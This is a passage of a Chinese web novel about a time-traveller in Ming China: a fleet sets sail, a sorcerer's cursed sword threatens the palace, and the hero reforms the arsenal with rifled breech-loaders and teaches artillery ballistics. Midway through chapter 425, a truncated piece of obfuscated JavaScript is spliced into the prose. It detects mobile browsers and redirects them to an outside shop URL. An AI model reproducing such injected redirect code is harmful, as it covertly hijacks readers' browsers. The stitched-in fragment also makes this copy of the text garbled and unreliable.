舰队缓缓驶出月港,白帆升起,在秋日阳光下熠熠生辉。
岸边百姓挥手欢送,有商人期盼商路畅通,有工匠自豪于自己的作品远渡重洋,更多普通人只是看个热闹——这么大的船队,一辈子没见过。
苏惟瑾站在码头上,久久未动。
超频大脑里,浮现出后世那些巨舰纵横四海的画面。
而现在,这个画面,正在他手中变成现实。
他仿佛看见,玉米、土豆、红薯在中原大地生长,饥荒成为历史;
看见大明的商船穿梭于世界各个港口,白银如潮水般涌来;
看见马六甲、好望角升起大明的旗帜,海上商路成为大明的血脉……
“公子,”
胡三的声音把他拉回现实。
“京城急报。”
“说。”
“鬼爪……出现了。”
胡三声音发紧。
“在太和殿屋顶。
他穿着那身红衣道袍,盘膝而坐,面前插着一柄剑——就是白云观飞出去的那柄,火焰缠剑。”
苏惟瑾瞳孔一缩。
“他说,”
胡三咽了口唾沫。
“七日之约,还剩三天。
三天后的子时,剑成祭天。
他还说……要您亲自去太和殿,见证‘天命剑’的诞生。”
三天。
舰队刚出发,邪剑就要来了。
苏惟瑾望向北方,北京的方向。
“回京。”
他只说了两个字。
就在他转身准备登车时,天空中,那颗血色小星突然光芒暴涨,其尾焰**成的两道光芒,此刻竟开始缓缓旋转,像一双眼睛,冷冷注视着人间。
而其中一道光芒的末端,不偏不倚,正指向——
月港方向,刚刚驶出港湾的舰队。
海军舰队浩荡出航,大航海时代拉开序幕。
可邪剑的威胁也进入最后倒计时——三天之后,子夜时分,太和殿顶,天命剑成!
鬼爪公然现身皇权象征之巅,红衣道袍,邪剑在侧,嚣张挑衅。
而更令人不安的是,血色小星的光芒竟指向刚刚出发的舰队——这意味着什么?
难道邪剑的目标,不止是紫禁城内的皇帝与苏惟瑾?
几乎同时,月港传来诡异急报:舰队出港后不过半日,旗舰“定远号”的罗盘全部失灵,指针疯狂旋转,仿佛被某种无形力量干扰。
而船上的水手接连做噩梦,梦里都有一个“穿红衣服的道士”,手持火焰缠绕的剑,在海上追逐舰队……
陆上剑成祭天,海上异象频生。
鬼爪的真正图谋,似乎远比想象中更庞大、更诡异。
苏惟瑾只有三天时间,不仅要破解太和殿的杀局,还要保住**之外航向未知的舰队。
而他胸口那即将成熟的剑种,此刻正发出前所未有的灼热脉动——仿佛在渴望,又仿佛在……恐惧。
第424章 夜观星象语,瑾谋万世基
月港急报是信鸽传来的,字迹潦草,透着慌乱:
“舰队离港半日,罗盘尽失灵,指针疯转。
水手多噩梦,皆见红衣道人在海上持剑追逐。
海上起黑雾,方向莫辨。
苏提督命抛锚待命,请示下。
——报信人:王二狗”
苏惟瑾看着这张纸条,胸口的剑种印记突然剧烈一跳。
不是疼痛,是……共鸣。
仿佛那柄远在千里之外的邪剑,正通过某种诡异的方式,与他体内的剑种产生感应。
血色小星的光芒指向舰队,恐怕不是偶然——邪剑要吞噬的,不只是他和小皇帝的气运,还有这支承载着大明国运远航的舰队。
“公子,”
胡三脸色发白。
“这……这邪剑还能隔空影响海上?”
“它不是影响海上,”
鹤岑声音发抖。
“它是通过国公爷体内的剑种,感应到了舰队承载的‘国运’。
舰队越远航,承载的国运越盛,对它来说……就是越美味的祭品。”
以运养剑。
养的不只是个人气运,还有国运。
苏惟瑾闭上眼睛,超频大脑疯狂运算。
三天,舰队刚出港就遭遇异常,如果继续前进,难保不会出事。
可如果召回舰队,下西洋计划夭折,国运受损,邪剑同样会变得更饥渴——这是个死循环。
“传令给苏惟山,”
他睁开眼,声音斩钉截铁。
“舰队原地休整一日,待黑雾散后,继续前进。
告诉他,罗盘失灵就用星象导航,我给他的锦囊里有星图。
红衣道人是幻象,是邪剑通过剑种投射的心魔,让水手服用安神药,集中精神,莫生恐惧。”
“可是公子,”
周大山急了。
“那邪剑……”
“它越想要,我越要给。”
苏惟瑾冷笑。
“舰队承载的国运,是我一手推动的。
它想吞?
那就看它有没有这个胃口。”
他转向鹤岑:“国师,太和殿那边,布置得如何?”
“七七四十九道驱邪符阵已布下,”
鹤岑苦笑。
“但能不能挡住完全体的邪剑……贫道没把握。”
“不需要挡住。”
苏惟瑾淡淡道。
“只需要……拖住。”
他望向北方,北京城的方向。
三天。
最后三天。
……
道历三年,腊月初八。
北京城下了今冬第一场雪。
雪花纷纷扬扬,落在紫禁城金黄的琉璃瓦上,落在太和殿那高高的重檐庑殿顶上。
就在那最高处的正脊上,一个红色身影盘膝而坐,任凭雪花落在肩头,一动不动。
鬼爪。
或者说,玄真子的传人。
他面前,插着那柄火焰缠剑。
剑身赤红,黑焰吞吐,雪花还没靠近就被蒸成水汽。
剑柄上那些血色符文,在雪光映照下,诡异得刺眼。
整个北京城都能看见他。
五城兵马司的兵丁围住了太和殿,可没人敢上去——不是怕高,是怕邪。
那柄剑散发出的寒意,隔着几十丈都能让人腿软。
“第七天了。”
鬼爪忽然开口,声音嘶哑,却清晰传到下方每个人耳中。
“今晚子时,剑成祭天。
苏惟瑾,你来,还是不来?”
没人回答。
只有风雪呼啸。
……
当夜,子时前一个时辰。
西苑,观星台。
这里原是飞升大典的登仙台,如今被改造成了格物学堂的观星台。
台高七丈七尺,顶层架着几台新制的望远镜——镜片是格物学堂玻璃工坊磨制的,虽然还有瑕疵,但已能看到月亮上的环形山。
苏惟瑾披着貂皮大氅,站在观星台边缘。
寒风凛冽,吹得大氅猎猎作响。
夜空如洗,星河璀璨,亿万星辰在头顶铺开,浩瀚得让人窒息。
周大山跟在他身后,搓着手:“国公爷,这大冷天的,您上来干啥?
鬼爪那孙子在太和殿叫嚣呢,咱们……”
“不急。”
苏惟瑾仰头望着星空。
“让他叫。”
“可是……”
“大山,”
苏惟瑾忽然问。
“你看这星空,像什么?”
周大山一愣,抬头瞅了半天,挠挠头:“像……像撒了一地的芝麻?”
苏惟瑾笑了。
“是像芝麻。”
他点头。
“可你知道,这每一颗‘芝麻’,都是一个太阳,有的比咱们的太阳还大,周围也有行星围着转,上面也可能有山有水有生灵。”
周大山张大了嘴:“这……这不能吧?”
“为什么不能?”
苏惟瑾转身,看着他。
“三百年前,有人说大地是圆的,也没人信。
一百年后,会有人说星星上也有国家,估计也没人信。
可事实就是事实,不管信不信。”
他顿了顿,声音在夜风中格外清晰:“咱们大明,在这亿万星辰里,不过是一粒尘埃。
今天强盛,明天可能衰败;
今天四海升平,明天可能战火纷飞——为什么?
因为咱们的强盛,系于一人之身。
皇帝贤明,则国兴;
皇帝昏聩,则国衰。
权臣更迭,朝局动荡;
天灾人祸,百姓遭殃。”
周大山似懂非懂。
“所以我要建的,”
苏惟瑾望向远方。
“是一个不因皇帝贤愚而兴衰、不因权臣更迭而动荡的天下。”
他伸出手,一根一根数着:
“科技——格物学堂,蒸汽机,铁路,海军。
有了这些,天灾能抗,财富能创,疆域能守。”
“教育——各省官学,专利制度,国子监改革。
有了这些,人才辈出,创新不绝,文明不衰。”
“法治——议政院,新刑律,监察体系。
有了这些,权力制衡,贪腐可遏,公道可期。”
“民生——辽东移民,北疆互市,海外粮种。
有了这些,百姓吃饱,边疆安定,国本稳固。”
他每说一项,周大山的眼睛就亮一分。
“这些根基打牢,”
苏惟瑾最后道。
“纵使千百年后,皇帝换了一茬又一茬,权臣起起落落,甚至改朝换代——只要这套根基还在,华夏就还能爬起来,还能屹立在世界之巅。”
他声音不大,却字字千钧,砸在寒夜里,砸在周大山心里。
“俺……俺不懂这些大道理。”
周大山憋了半天,才红着脸道。
“但俺知道,跟着国公爷,准没错!
您说咋干,俺就咋干!”
苏惟瑾笑了。
他拍拍周大山肩膀,然后转身,望向北方。
那里,蒙古草原的灯火,正与汉地城镇的灯光渐渐交融——互市带来的不只是羊毛,还有潜移默化的影响。
草原贵族开始穿汉服,说汉话,孩子送到边境学堂读书。
望向东北。
黑土地上,无数移民村落的炊烟在雪夜中袅袅升起。
那里有百万亩新垦的农田,有刚刚建成的炼铁厂,有忙碌的煤矿,有对未来充满希望的百姓。
望向南方。
虽然看不见,但他知道,海军的舰队正在破
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浪前行。
带着大明的商旗,带着他的理想,驶向那片未知的蓝色疆域。
超频大脑中,一个盛世的蓝图徐徐展开。
铁路纵横,连接南北;
巨舰远航,通达四海;
学堂遍地,人才辈出;
工厂林立,机器轰鸣;
百姓安居,仓廪丰实;
边疆稳固,四夷来朝……
这才是他穿越的意义。
不是当权臣,不是享富贵,是真正改变这个民族命运的轨迹。
“公子,”
胡三匆匆登上观星台,声音发紧。
“子时快到了。
鬼爪在太和殿顶,开始……做法了。”
苏惟瑾抬头。
夜空中,那颗血色小星的光芒,此刻已亮如烛火。
其尾焰**成的两道光芒,一道牢牢锁定太和殿,一道……竟微微转向,指向了观星台。
它发现他了。
“走吧。”
苏惟瑾拂去肩头的雪花。
“去会会这位……炼剑百年的‘高人’。”
他走下观星台时,胸口剑种印记突然传来一阵奇异的暖流——不是灼热,是温润,仿佛有什么东西,正在那即将成熟的剑种内部,悄然萌发。
鹤岑曾说过,剑种一旦成熟,就会引来邪剑归位,夺运祭天。
可玄真子手札上还有一句话,鹤岑没念全,是苏惟瑾自己从残缺处推导出来的:
“剑种若遇‘真命’,反哺其主,可成‘护运剑心’。”
真命是什么?
**。
但他能感觉到,胸口那颗剑种,似乎……并不完全受邪剑控制。
也许,鬼爪和玄真子,都算错了一件事。
他们以为种下的是引剑的饵。
却不知道,这饵里,早就埋下了反噬的种子。
……
子时。
太和殿顶。
鬼爪站起身,拔出那柄火焰缠剑。
剑身上的黑焰暴涨,冲天而起,将夜空映得一片幽暗。
他高举长剑,声音如夜枭嘶鸣:
“百年炼一剑,今日终成时!
以帝运为基,以异数之运为引,以国运为薪——天命剑,成!”
剑鸣响彻紫禁城。
而苏惟瑾,正一步步,走向太和殿。
他胸口的剑种印记,此刻红光大盛,像一颗跳动的心脏,像一颗……即将破土而出的种子。
观星台上,苏惟瑾抒发终极抱负,一个不依赖皇权、根基牢固的盛世蓝图已然绘就。
各方发展态势蓬勃向好:北疆交融、东北兴盛、海军远航、改革深化。
可终极对决在即!
鬼爪在太和殿顶做法,邪剑即将大成,欲吞噬帝运、异数之运与国运,炼成“天命剑”。
苏惟瑾坦然赴约,而他胸口的剑种却异变突生——玄真子手札残缺处揭示,“剑种若遇‘真命’,反哺其主,可成‘护运剑心’”!
这“真命”究竟是什么?
是穿越者的特殊命格?
是改变历史凝聚的庞大气运?
还是别的什么?
与此同时,月港舰队在经历一日休整后,苏惟山打开锦囊中的星图,震惊地发现——星图标示的航线上,竟有一颗从未在任何典籍中记载的“新星”,其位置与血色小星完全吻合!
而更诡异的是,根据星图计算,此刻舰队正下方海底深处,似乎有某种庞大的物体,与空中的血色小星产生着微弱但持续的共振……
鬼爪以为自己在炼剑祭天,却不知自己可能正在打开一扇更恐怖的大门。
而苏惟瑾怀中的那颗剑种,究竟是引来毁灭的饵,还是逆转乾坤的钥匙?
太和殿顶,终极对决,即将揭晓一切!
第425章 兵仗局改制,瑾授“米尼”秘
道历四年正月十六,年味儿还没散尽,北京城北的兵仗局已是一片叮当声。
这地方挨着北城墙根儿,占地百亩,高墙围得铁桶似的。
里头分作火器、盔甲、**、刀枪四坊,光匠户就有两千多号人,算上打杂的、运料的、看门的,拢共近四千张嘴每日在这儿进出。
按说该是热火朝天的场面,可刘主事背着手在火器坊转悠时,总觉得哪儿不对。
他是兵部派驻的八品主事,管着账目物料。
此刻看着那些光着膀子、脊背上汗珠子滚成线的匠人们,一锤一锤敲打着烧红的铁条,心里头算盘拨得噼啪响:一根鸟铳管,从锻铁到钻膛得十七道工序,费时八日,用铁六斤四两,炭三十斤。
成品十支里头能有三支炸膛,五支准头歪到姥姥家,剩下两支堪用的,射个四五十步也就到头了。
“老焦!”
刘主事冲坊里喊了一嗓子。
一个五十出头、膀大腰圆的老汉放下铁锤,抹了把汗走过来:“刘主事,您吩咐。”
这老汉叫徐老焦,人如其名,祖上三代都是铁匠。
他爹当年跟着永乐爷北征,在军器局干过;他爷爷更早,元末乱世时给红巾军打过刀。
传到徐老焦这辈,手艺是没得说,可地位嘛——匠籍,**的,脱不了籍,见官矮三级。
“上个月交的那批鸟铳,”
刘主事板着脸。
“神机营试了,又炸了两支。
王游击的脸都被崩花了,昨儿个兵部老爷发了火,说再这么着,扣你们坊三月工食银。”
徐老焦那张被炉火烤得黑红的脸顿时白了:“主事明鉴!那批料是工部拨的,铁里头杂质多,咱钻膛时就看出来了,可不敢说啊……”
“不敢说?”
刘主事冷笑。
“那就是你们手艺不精。
反正话我撂这儿:这个月交二百支,再炸膛超过五支,你们全坊下半年就别想领全饷了。”
周围几个年轻匠人听得拳头都攥紧了,可没人敢吭声。
匠户是什么?
比军户还贱三分。
军户好歹能靠军功脱籍,匠户?
子子孙孙都是敲铁打铁的命。
徐老焦佝偻着背,嘴唇哆嗦着,最后只挤出句:“……是,小的们尽力。”
刘主事这才满意,背着手晃悠走了。
走出十来步,还听见身后有年轻匠人压低声音骂:“狗官!就知道克扣咱们!那铁料明明是他吃了回扣进的次货……”
“闭嘴!”
徐老焦低吼。
“还想不想吃饭了?”
刘主事嘴角扯了扯,没回头。
骂呗,能咋地?
这兵仗局上百年都这样,匠户就是牛马,给口饭吃就不错了。
还想要公平?
做梦。
他哼着小曲儿往值房走,盘算着这个月能从炭铁料里抠出多少油水。
刚走到局门口,外头忽然传来一阵急促的马蹄声。
“让开!都让开!”
守门的军士慌忙推开大门。
刘主事抬头一看,腿肚子差点转筋。
只见一队鲜衣怒马的骑士当先开道,清一色麒麟服,腰佩绣春刀——是国公府亲卫!
中间一匹通体雪白、四蹄如墨的骏马上,坐着个披玄狐大氅的年轻人。
二十出头年纪,面如冠玉,眸似寒星,明明没戴官帽,只束着根青玉簪子,可那通身的气度,压得门口一众官吏匠工大气不敢出。
文国公,苏惟瑾。
刘主事“扑通”就跪下了,后头哗啦啦跪倒一片:“参见国公爷!”
苏惟瑾勒住马,目光扫过兵仗局那斑驳的砖墙、冒着黑烟的烟囱,最后落在跪在地上的刘主事身上。
他没急着让人起来,而是先问:“今日谁当值?”
“下、下官兵部主事刘文才,”
刘主事头埋得更低了。
“暂管局务。”
“起来吧。”
苏惟瑾翻身下马,动作干净利落。
“带我去火器坊看看。”
“是是是!”
刘主事连滚爬爬起身,小跑着在前头引路。
心里头却打鼓:这位爷怎么突然来了?
兵仗局归工部和兵部共管,虽说文国公如今权倾朝野,可这儿……不该他直管啊?
一路进到火器坊,那股子热浪混着铁腥气扑面而来。
匠人们早停了活儿,黑压压跪了一地。
苏惟瑾摆摆手:“都起来,该干什么干什么。”
说罢,径直走到一座炉子前。
徐老焦刚起身,就见这位传说中的文国公走到他刚才敲打的那根铳管前,伸出两根手指,在管口摸了摸,又凑到眼前看了看内壁。
“钻膛用了多久?”
苏惟瑾忽然问。
徐老焦一愣,忙答:“回、回国公爷,这根……钻了两日半。”
“钻头是钢的还是铁的?”
“是熟铁的,淬过火。”
苏惟瑾点点头,又把那半成品的铳管在手里掂了掂:“重了。
鸟铳全重该在三斤八两到四斤二两之间,这根怕有四斤半了。
士卒举着射上十发,胳膊就酸了。”
徐老焦眼睛瞪圆了——这位国公爷,懂行啊!
刘主事在一旁赔笑:“国公爷慧眼!这些匠人粗手笨脚,总也做不精细……”
“不是他们的问题。”
苏惟瑾打断他,转头看向徐老焦。
“老丈怎么称呼?”
“小、小人徐老焦。”
“徐师傅,”
苏惟瑾语气平和。
“我问你:如今这鸟铳,最大毛病在哪儿?”
徐老焦犹豫了一下,偷眼瞅刘主事。
刘主事使眼色让他小心说话。
苏惟瑾笑了:“直说无妨。
今日我来,不是挑毛病,是找解法。”
这话让徐老焦鼓起了勇气。
他咬咬牙,豁出去了:“回国公爷,最大毛病有三:一是装填慢。
从倒药、装弹、捣实到点火,熟手也得二十息,生手更慢。
二是射程近,五十步外就打不准了。
三是老炸膛——不是小人推诿,实在是工部拨的铁料,十批里有三批是次货,杂质多,钻膛时容易留暗裂。”
刘主事脸都绿了:“徐老焦!你胡说什么!”
“他说的是实话。”
苏惟瑾淡淡一句,把刘主事后面的话全噎了回去。
国公爷从怀中取出一卷图纸,在旁边的条案上铺开。
那是一张极精细的图,用炭笔画的,线条干净利落。
图上画着一支从没见过形制的火铳——铳管细长,后头有个古怪的、可以向上翻开的“盖子”,旁边还画着几种奇形怪状的弹丸。
最扎眼的,是其中一种弹丸的剖视图:圆锥形的弹头,底下居然是空心的,像个小杯子倒扣着。
“这……这是?”
徐老焦凑过去,眼珠子都快贴图纸上了。
周围几个老匠人也忍不住围过来,连刘主事都伸长脖子瞅。
“这叫‘后装线膛枪’。”
苏惟瑾指着图,声音清晰。
“和现在鸟铳最大的不同,是弹丸从后面装。”
他手指点在那个“盖子”上。
“这里有个闭锁机,装弹时翻开,装好扣上,气密性比前装好十倍。”
徐老焦呼吸急促起来:“那、那这弹头底下为啥是空的?”
“问得好。”
苏惟瑾拿起桌上块黏土,三两下捏出个圆锥体,又用指甲在底部抠出个凹槽。
“你们打铁多年,可曾注意过,箭矢为何要装尾羽?”
“为……为了飞得稳?”
“对。”
苏惟瑾把黏土弹头放在掌心。
“这空心的部分,发射时受**燃气冲击,会向外膨胀,紧紧贴住铳管内壁。
而铳管里头——”
他又指向图上铳管内部那螺旋状的线条。
“我让人刻了膛线,螺旋的。
弹丸在里头旋转着出去,就像孩童玩的陀螺,转得越快越稳。
如此一来,射程能增一倍,百步之内,指哪打哪。”
坊里一片死寂。
匠人们张大了嘴,徐老焦胡子直哆嗦。
他们都是干了一辈子的老手,一点就透。
这原理听起来简单,可这层窗户纸,几百年来就没人捅破过!
刘主事却忍不住嘟囔:“国公爷,这……这听着太玄乎了。
铳管里头刻螺旋线?
得多细的钻头?
得费多少工?
还有这后装……气密性真能比前装好?
万一漏气,不成了烧火棍?”
他这话,其实代表了不少守旧官僚的想法——祖宗之法不可易,新玩意儿听着好,可做起来难,万一不成,劳民伤财。
苏惟瑾看他一眼,没直接驳斥,而是转头问徐老焦:“徐师傅,你觉得呢?”
徐老焦盯着那图纸,眼里的光越来越亮。
他猛地抬头:“国公爷!这法子……能成!”
“哦?说说。”
“您看这弹头,”
老汉粗糙的手指小心点着图纸。
“底部空心,受热膨胀贴紧管壁——妙啊!
咱现在用的圆弹,比铳管细,塞进去东倒西歪,所以准头差。
要是能贴紧了,再转起来……”
他越说越激动。
“还有这后装!
前装最麻烦就是捣药捣弹,后装直接塞进去,省了多少功夫!
士卒临阵,能多打两三发!”
周围匠人们纷纷点头。
他们是实操的,太知道现下火铳的痛点了。
苏惟瑾笑了:“徐师傅是明白人。”
他又看向刘主事。
“刘主事担心费工,这倒是实情。
刻膛线是难,可一旦做出专用机床,反而比现在纯手工钻直筒更快。
至于气密性——”
他忽然从怀中掏出个小巧的黄铜物件,也就巴掌大,结构精巧。
“这是格物学堂做的模型,你们看。”
说着,他演示起闭锁机的开合。
那铜件“咔嗒”一声扣紧,严丝合缝。
“真正的枪机,会用更硬的钢材,配合弹簧。”
苏惟瑾解释道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089489|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>“漏气?
只要做工精细,比前装塞麻布片强得多。”
刘主事哑口无言。
苏惟瑾不再理他,朗声对全坊匠人道:“今日起,兵仗局改制。
火器坊独立出来,成立‘军器研发司’,专攻新式火器。
徐老焦任司正,正七品官身。”
“哗——”
全场炸了。
匠户……当官?
正七品?!
徐老焦整个人都懵了,腿一软就要跪,被苏惟瑾扶住:“徐司正,你月俸从今日起翻三倍。
另赐独门院落一座,家小可脱匠籍,子孙可科举。”
老铁匠眼泪“唰”就下来了,嘴唇哆嗦着,一个字都说不出。
周围匠人们眼睛都红了——脱籍!
科举!
这是他们做梦都不敢想的事!
“司里拨研发经费白银五万两。”
苏惟瑾继续道。
“再从格物学堂调二十名算学、物理尖子生过来协助。
你们要什么料,直接报给我,工部那边若有人卡着——”
他瞥了眼面如死灰的刘主事。
“我来处理。”
说罢,他将那卷图纸郑重交到徐老焦手里:“徐司正,这‘米尼弹后装线膛枪’,我就托付给你了。
三个月,我要看到第一支样枪。”
徐老焦用那双布满老茧、烫痕的手,紧紧攥住图纸,像攥着命根子。
他挺直了佝偻多年的脊背,声如洪钟:
“国公爷放心!老汉就是不吃不睡,也把这枪造出来!”
消息像长了翅膀,当天就传遍了京城工匠圈。
第二天,兵仗局门口来了几十号人,有从南京军器局赶来的老匠,有山西来的铁匠,甚至还有两个祖传造**的四川匠户,千里迢迢投奔。
问为啥?
就为那句“匠人可当官,子孙可科举”!
刘主事当晚就告了病假——没脸待了。
他前脚走,后脚就有人查出他吃铁料回扣的烂账,直接报到了都察院。
而徐老焦搬进那座青砖小院时,对着堂屋里“匠艺报国”的匾额,哭了半宿。
他十岁的孙子仰头问:“爷爷,咱家真不是匠籍了?”
“不是了。”
老汉抹着泪。
“往后你好好读书,考秀才,中举人……咱们徐家,改换门庭了!”
当然,这些都是后话。
此刻苏惟瑾已骑马出了兵仗局。
周大山跟在旁边,咧嘴笑:“公子,您这手真绝!那徐老汉激动的,俺都怕他背过气去。”
“匠人是宝啊。”
苏惟瑾望着远处格物学堂的方向。
“大炮巨舰,**铁甲,哪样不是他们一锤一锤敲出来的?
可朝廷百年来,何曾正眼瞧过他们?”
他声音渐冷:“这规矩,该改改了。”
正说着,一骑快马从街角转来,马上骑士滚鞍下跪:“国公爷!宫里急报——张总管在司礼监发脾气,说……说火器革新这等大事,您不该绕过内廷。”
苏惟瑾眉毛都没动一下。
张佐,司礼监掌印,嘉靖潜邸时的老人。
这些年还算安分,可眼看着苏惟瑾权柄日重,到底坐不住了。
“知道了。”
苏惟瑾淡淡道。
“告诉张总管,明日早朝,我会亲自向陛下奏明兵仗局改制之事。
至于内廷……”
他顿了顿。
“火器制造,关乎国战,还是交给懂行的人为好。”
骑士领命而去。
周大山压低声音:“公子,那张佐怕是要使绊子。”
“让他使。”
苏惟瑾嘴角勾起一丝笑。
“正好,我这儿还有‘**’、‘燧发机’、‘野战炮’一堆图纸没拿出来。
他越拦着,我越要让天下人看看——是守着祖宗旧法等着挨打,还是变革图强屹立东方。”
马鞭轻扬,白马如龙,驰过长街。
而在兵仗局那间新设的“军器研发司”里,徐老焦正带着一群眼睛发亮的老匠、还有格物学堂来的年轻学子,围在那张图纸前,争论着膛线该怎么刻、闭锁机弹簧该用多粗的钢。
炉火正旺。
叮当声里,一个新时代的兵器,正在这群曾经被视作贱籍的人手中,悄然孕育。
徐老焦等匠人摩拳擦掌研制新枪,内廷张佐却已暗中串联守旧文官,准备在早朝发难。
而苏惟瑾手中那些“**”、“燧发机”的图纸,一旦抛出必将引发更剧烈的朝堂震荡。
更蹊跷的是,当夜徐老焦在研读图纸时,竟在图纸背面不起眼处,发现一行极小字迹:“此枪若成,可破重甲,然需小心‘火门漏气’之弊——嘉靖二年,南京军器局王匠头绝笔。”
这王匠头是谁?
嘉靖二年就有人想过类似设计?
还是说……这图纸本就另有来历?
与此同时,兵仗局库房深处,一本蒙尘多年的《火器秘录》被整理出来,其中一页记载着成化年间“神机营试后装铳,炸膛死七人,遂废”的旧事,而负责那项目的太监姓……张?
第426章 陆炮革新计,瑾算弹道学
正月二十,文华殿东暖阁。
这地方原是皇帝召见大臣、讲经论史之处,如今却摆上了几件稀罕物事:
一尊三尺长的虎蹲炮模型,几块画满线条的黑板,还有几个黄铜制的测量仪器——那是格物学堂新制的“测角仪”和“风速筒”。
工部、兵部十几个官员分坐两侧,中间空地上站着二十几个炮匠,领头的是个满脸麻子、缺了半只耳朵的老汉,姓马,人称马老黑。
他身后站着的是火器坊的匠人,都是世代造炮的。
暖阁里气氛有些古怪。
文官们穿着绯袍青袍,正襟危坐;
匠人们则穿着洗得发白的粗布袄子,手脚都不知往哪儿放。
要不是国公爷亲点的名,他们这辈子也进不了文华殿。
苏惟瑾站在黑板前,手里捏着截粉笔。
今日他穿的是国公常服,麒麟补子,玉带束腰,倒比平日少了三分威压,多了几分书卷气——像是个来讲学的翰林,而非权倾朝野的权臣。
“诸位,”
他开口,声音清朗。
“前几日兵仗局改制,**革新已启。
今日请各位来,是想议议另一件事——火炮。”
话音落下,底下便有人小声嘀咕。
“火炮?红夷大炮还不够厉害么?”
“听说葡萄牙人的炮能打三里……”
“那得多重?运得动么?”
苏惟瑾耳力极佳,听了个全。
他微微一笑,拿起粉笔在黑板上“唰唰”画了条弧线,又在旁边标上几个数字。
“这是炮弹飞行的轨迹。”
他转身面向众人。
“诸位可知,为何同样一门炮,有时能打二百步,有时却只能打一百五十步?”
工部右侍郎刘大夏清了清嗓子。
这位老大人今年六十有二,弘治三年的进士,在朝中算得上老资格。
他早年以“谏止郑和下西洋”闻名,虽然后来证明那事儿是讹传——他反对的是劳民伤财的海禁,而非下西洋本身——可这名声是传开了,也成了保守派的旗帜人物。
“国公爷,”
刘大夏慢悠悠开口。
“炮弹远近,无非是装药多寡、炮口高低。
此乃常识,何必多讲?”
这话说得客气,可里头那意思谁都懂:您堂堂国公,跟我们讲这个,不嫌掉价?
苏惟瑾也不恼,笑着点点头:“刘大人说得对,是常识。
那我再问一句:若要炮弹精准命中三百步外、一丈见方的靶子,该装多少药?
炮口该抬多高?”
刘大夏一愣。
这问题……没这么问的啊!
打仗时炮都是轰个大概,哪能精准到打一丈靶?
“战场之上,火炮乃轰击之器,非**之精准。”
刘大夏捋着胡子。
“国公爷未免……过于苛求了。”
“苛求?”
苏惟瑾挑眉。
“那若是敌将的帅旗就在三百步外,一炮轰掉,可乱敌军心——这值不值得‘苛求’?”
刘大夏语塞。
旁边几个炮匠却听得眼睛发亮。
马老黑忍不住插嘴:“国公爷,要是真能打这么准……那、那仗就好打多了!”
“所以今日,咱们就来讲讲这‘准’字。”
苏惟瑾拿起粉笔,在黑板上写下一行字:“弹道学。”
他转身,目光扫过全场:“所谓弹道,就是炮弹从炮口飞出到落地的路径。
这路径受三样东西影响:初速、角度、外力。”
粉笔在黑板上飞舞。
“初速由装药量决定,药多则快,药少则慢。”
“角度就是炮口仰角——各位造炮多年,可知仰角多少度时射程最远?”
一个年轻炮匠怯生生举手:“小的听爷爷说过……好像是……四十五度?”
“对!”
苏惟瑾赞许地点头。
“四十五度时,炮弹在空中飞行时间最长,落地最远。
但——”
他话锋一转。
“若目标不是最远处,而是二百步、三百步呢?
角度该多少?”
众人面面相觑。
苏惟瑾也不卖关子,在黑板上画了个直角三角形,标上角度、距离、高度,开始列算式。
“这里有个公式:射程等于初速平方乘以正弦二倍角,除以重力……”
他一边写,一边用大白话解释。
“简单说,就是知道初速和要打的距离,就能算出该抬多高的炮口。”
工部几个懂算学的官员开始点头,刘大夏却皱起了眉。
这都什么跟什么?
正弦?
重力?
听着就玄乎。
苏惟瑾写完公式,又指向窗外:“还有外力。
今日有风,东风三级,风速约每秒三丈。
炮弹在风中飞行,就像船在河里走,顺风则快,逆风则慢,侧风则偏。”
他叫来一个格物学堂的学生,那是个十六七岁的少年,叫陈算盘——名字是他爹起的,因为他生下来就爱拨拉算盘珠子。
“算盘,你来算算。”
苏惟瑾报出数据。
“假设炮弹初速每秒八十丈,目标三百步(注:明代一步约1.6米),今日东风每秒三丈,炮口该仰角几何?
装药该多少?”
陈算盘也不怯场,掏出随身带的算盘,“噼里啪啦”一阵响。
又拿出炭笔在小本子上列式,嘴里念念有词:“正弦二倍角……风速补偿……药量换算……”
满殿寂静,只有算盘珠子的脆响。
刘大夏的脸色越来越难看。
他身后一个工部主事忍不住嘀咕:“装神弄鬼……”
苏惟瑾耳朵一动,转头看向那主事:“王主事觉得这是装神弄鬼?”
那主事吓得一哆嗦,慌忙起身:“下、下官不敢……”
“无妨。”
苏惟瑾摆摆手,又看向刘大夏。
“刘大人方才说,这是‘奇技淫巧’?”
刘大夏老脸一红——他确实小声嘀咕了这句,没想到被听见了。
“下官……”
他支吾着。
“刘大人不必否认。”
苏惟瑾笑笑。
“很多老成持重之人,都视新学为异端。
可咱们今日不争对错,只看实效。”
他转头问陈算盘:“算出来没?”
“回国公爷!”
少年抬起头,眼睛发亮。
“仰角当为二十八度六分!
装药二斤四两!”
“好。”
苏惟瑾看向马老黑。
“马师傅,殿外已备好一门虎蹲炮,就按这个数据装药、调角度。”
“是!”
马老黑激动得手都抖了,带着两个徒弟就往外跑。
文华殿外空地上,一门货真价实的虎蹲炮已架好。
炮口对着三百步外的一个木靶——那靶子一丈见方,中间画了个红心。
官员们、匠人们都跟了出来,围成半圈。
刘大夏站在人群前头,眯着眼看着那炮,心里冷笑:装模作样!
炮弹飞行岂是算盘珠子能算准的?
待会儿打偏了,看你如何收场!
马老黑亲自装药。
二斤四两**,称得分毫不差。
又调整炮架后的楔子,用测角仪量了又量——二十八度六分,一点不差。
“国公爷,妥了!”
苏惟瑾点头:“点火。”
引线“嗤嗤”燃起。
所有人的心都提了起来。
“轰——!”
炮口喷出火光,白烟弥漫。
炮弹破空而出,在空中划出一道漂亮的弧线。
时间仿佛变慢了。
众人眼睁睁看着那黑点越过二百步、二百五十步、二百八十步……
“砰!”
木靶中央,红心处,木屑炸开!
正中靶心!
“打、打中了?!”
一个工部郎中失声叫道。
马老黑和几个炮匠愣了一瞬,随即跳起来欢呼:“中了!真中了!”
陈算盘激动得满脸通红,攥着算盘的手都在抖。
刘大夏僵在原地,老脸由红转白,由白转青。
他身后的王主事张着嘴,能塞进个鸡蛋。
